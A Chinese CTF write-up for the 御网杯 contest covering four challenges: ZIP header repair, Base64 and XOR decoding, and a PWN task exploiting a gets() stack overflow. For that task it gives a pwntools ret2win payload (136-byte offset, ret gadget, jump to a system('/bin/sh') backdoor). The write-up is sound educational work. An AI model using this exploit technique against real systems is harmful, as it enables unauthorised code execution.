2095 字
10 分钟
御网杯比赛复盘:从 ZIP 修复到 PWN 栈溢出

这篇文章整理了我参加御网杯时完成的四道题,分别是签到题“损坏的压缩包”、MISC 题“迷宫”和“幻影”,以及 PWN 题“Authenticate”。

四道题覆盖了文件格式、Base64、异或加密和栈溢出。它们使用的技术并不相同,但解题过程有一个共同点:先确认手里的数据是什么,再选择对应的工具,最后用脚本复现结果。

本文中的攻击过程只针对比赛提供的授权靶场环境。

题目类型核心知识点
签到题:损坏的压缩包MISCZIP 文件头与 Magic Number
迷宫MISC数据清洗、Base64、哈希格式识别
幻影MISC / CryptoBase64、已知明文、单字节 XOR
PWN-AuthenticatePWNgets() 栈溢出、ret2win、栈对齐

签到题:损坏的压缩包#

题目现象#

附件是 archive_04.zip,但常用解压软件会直接提示文件损坏。遇到这种情况,第一步不应该反复更换解压工具,而是检查文件头。

ZIP 文件常见的本地文件头标识为:

50 4B 03 04
P K

使用 010 Editor、WinHex 或其他十六进制编辑器打开附件后,可以发现文件开头的四个字节被破坏了。将它们恢复成 50 4B 03 04,压缩包便能正常识别。

使用 Python 修复#

手动修改很直观,也可以用一个短脚本完成同样的操作:

from pathlib import Path
source = Path("archive_04.zip")
target = Path("archive_04_fixed.zip")
data = bytearray(source.read_bytes())
print("原文件头:", data[:4].hex(" "))
data[:4] = b"PK\x03\x04"
target.write_bytes(data)
print("修复完成:", target)

修复并解压后,从 data.txt 中得到一段 Base64 文本。继续解码:

import base64
from pathlib import Path
encoded = Path("data.txt").read_text(encoding="utf-8").strip()
plain = base64.b64decode(encoded).decode("utf-8")
print(plain)

输出为:

mggl

按照比赛要求补上 Flag 格式:

flag{mggl}

这道题考查的是文件格式基础。扩展名只能说明文件“应该是什么”,Magic Number 才是工具判断格式的重要依据之一。

迷宫:逐层拆掉数据外壳#

找到真正的有效数据#

题目提示关键凭证被藏在多个压缩包中。逐层解压 maze_01.zip 后,最终在 vault.bin 中得到:

ODMyMjhiMjAzMWFhNjUwYWNkMWYyNzg3MDRlNzRjMzE=6d

字符串尾部的 6d 是干扰项。判断依据不是“看起来可疑”,而是前面的内容已经以 = 结束,符合 Base64 的填充形式;如果把 6d 一起送去解码,数据结构反而不成立。

去掉干扰项后得到:

ODMyMjhiMjAzMWFhNjUwYWNkMWYyNzg3MDRlNzRjMzE=

Base64 解码#

import base64
raw = "ODMyMjhiMjAzMWFhNjUwYWNkMWYyNzg3MDRlNzRjMzE=6d"
encoded = raw[:-2]
decoded = base64.b64decode(encoded).decode("ascii")
print(decoded)

运行结果:

83228b2031aa650acd1f278704e74c31

它由 32 个十六进制字符组成,外观符合 MD5 摘要。这里不需要继续“破解 MD5”,因为题目的目标是提取凭证,这串值本身就是最终需要提交的内容。

最终结果:

flag{83228b2031aa650acd1f278704e74c31}

这道题的关键是判断每一层数据的边界。看到一串像 Base64 的文本时,也要先检查长度、字符集和填充符,避免把人为添加的干扰字符一起解码。

幻影:Base64 外壳与单字节 XOR#

明文提示#

解压 shadow_02.zip 后,在 data.bin 中找到一段提示:

REMEMBER: FLAG IS HIDDEN IN BASE64 PLUS XOR!

同时还得到密文:

wMrHwd2ek8KQwJGSlYuXwJSRi5KSwJ+Lx5+Wn4uek8OSlZDDw5WSlZLb

提示已经明确给出两层处理:先 Base64 解码,再进行 XOR。

用已知前缀寻找密钥#

比赛 Flag 固定以 flag{ 开头。对单字节 XOR 而言,可以枚举 0x00 到 0xff 的全部密钥,并筛选以已知前缀开头的结果:

import base64
encoded = "wMrHwd2ek8KQwJGSlYuXwJSRi5KSwJ+Lx5+Wn4uek8OSlZDDw5WSlZLb"
ciphertext = base64.b64decode(encoded)
for key in range(256):
plaintext = bytes(byte ^ key for byte in ciphertext)
if plaintext.startswith(b"flag{"):
print(f"key = 0x{key:02x}")
print(plaintext.decode("utf-8"))

输出结果为:

key = 0xa6
flag{85d6f743-1f27-44f9-a909-85e436ee3434}

最终 Flag:

flag{85d6f743-1f27-44f9-a909-85e436ee3434}

整理 write-up 时,我重新运行脚本核对了密钥。原始记录里曾把密钥写成 0x8c,但 0x8c 解出的内容是乱码;根据原始密文和最终 Flag 反算,每一个字节对应的密钥都是 0xa6。技术记录必须能够被代码复现,截图和文字出现冲突时,应该回到原始数据验证,而不是沿用笔误。

PWN-Authenticate:从 gets 到 ret2win#

程序分析#

附件中的 vuln 是一个 64 位 Linux ELF 程序。使用 IDA Pro 做静态分析,或者用 GDB 动态调试,可以在 login() 函数中看到程序使用了不安全的 gets():

char password[128];
gets(password);

gets() 不检查输入长度,因此可以越过局部变量边界,继续覆盖保存的栈帧指针和返回地址。

程序中还存在一个没有通过正常业务流程调用的 backdoor() 函数,其地址为:

backdoor = 0x4011f6

该函数会执行:

system("/bin/sh");

因此不需要注入 Shellcode,也不需要泄露 libc 地址。只要控制返回地址跳转到 backdoor(),就能完成一次典型的 ret2win。

计算覆盖偏移#

password 位于栈帧中的 rbp - 0x80,缓冲区大小是 128 字节。到达保存的返回地址之前,还要越过 8 字节的 Saved RBP:

128 字节 password
+ 8 字节 Saved RBP
= 136 字节偏移

栈上的 Payload 可以表示为:

┌──────────────────────┐
│ "A" * 136 │ 覆盖缓冲区和 Saved RBP
├──────────────────────┤
│ 0x40101a │ ret Gadget
├──────────────────────┤
│ 0x4011f6 │ backdoor()
└──────────────────────┘

这里额外加入地址 0x40101a 处的单条 ret 指令,用于调整 x86_64 System V ABI 下的栈对齐。如果直接进入包含 system() 调用的函数,栈未保持 16 字节对齐,有时会在 libc 内部执行 movaps 时崩溃。

构造 Payload#

使用 pwntools 可以清楚地表达 Payload 的结构:

from pwn import *
context.arch = "amd64"
OFFSET = 136
RET = 0x40101A
BACKDOOR = 0x4011F6
payload = b"A" * OFFSET
payload += p64(RET)
payload += p64(BACKDOOR)
print(f"payload length: {len(payload)}")

与比赛远程服务建立连接后,先使用普通账户通过用户名检查,再在密码输入阶段发送这个 Payload。控制流从 login() 返回时,会依次经过对齐用的 ret 和 backdoor()。

进入 Shell 后读取 Flag 文件:

Terminal window
cat flag

最终得到:

flag{c69002db4a5b6e719edfe2cc52f09b3f}

这道题真正需要注意的地方不是 136 字节偏移本身,而是完整理解返回链:填充覆盖到哪里、下一次 ret 会从哪里取地址、为什么调用 libc 前还要处理栈对齐。

比赛后的几点复盘#

先识别数据,再选择工具#

四道题分别从文件头、编码文本、异或密文和 ELF 程序开始。如果一开始没有判断数据类型,只靠工具逐个尝试,很容易陷入没有方向的操作。

ZIP 题先看 Magic Number,Base64 先检查字符集与填充,XOR 题利用固定 Flag 前缀,PWN 则先确定架构、危险函数和栈布局。工具只有在问题模型清楚以后才真正有用。

已知明文是一种约束,不是答案#

“幻影”中已知 flag{,因此能够快速筛选单字节 XOR 密钥。但如果加密方式不是单字节 XOR,仅仅强行让前五个字节变成 flag{,完全可能得到一个只在开头正确、后面全是乱码的假结果。

正确做法是验证完整输出,包括字符范围、Flag 结尾、长度和题目语义。

每一步都应该能够复现#

比赛时为了赶时间,很多操作会在图形化工具里完成。赛后整理时,最好用小脚本重新实现关键步骤。脚本不仅方便以后复习,也能发现记录中的笔误。这次重新验证“幻影”,就纠正了 XOR 密钥的错误。

PWN 不只是找到溢出点#

发现 gets() 只是开始。真正的利用还需要确定覆盖偏移、目标函数、地址编码和栈对齐。把 Payload 画成栈结构,比只记住一串 A 和几个地址更容易理解,也更容易排查错误。

结语#

这四道题从简单的文件头修复逐渐过渡到二进制控制流劫持,难度跨度很明显。对我来说,最大的收获不是记住某个工具的按钮,而是逐渐形成一套稳定的分析顺序:观察现象、识别格式、提出假设、写脚本验证,最后保存可复现的结果。

比赛结束后再回头整理 write-up,也让我发现“做出来”和“真正讲清楚”是两件不同的事。能够把解题过程写成别人可以复现的文章,才算真正把这次比赛中的经验留下来。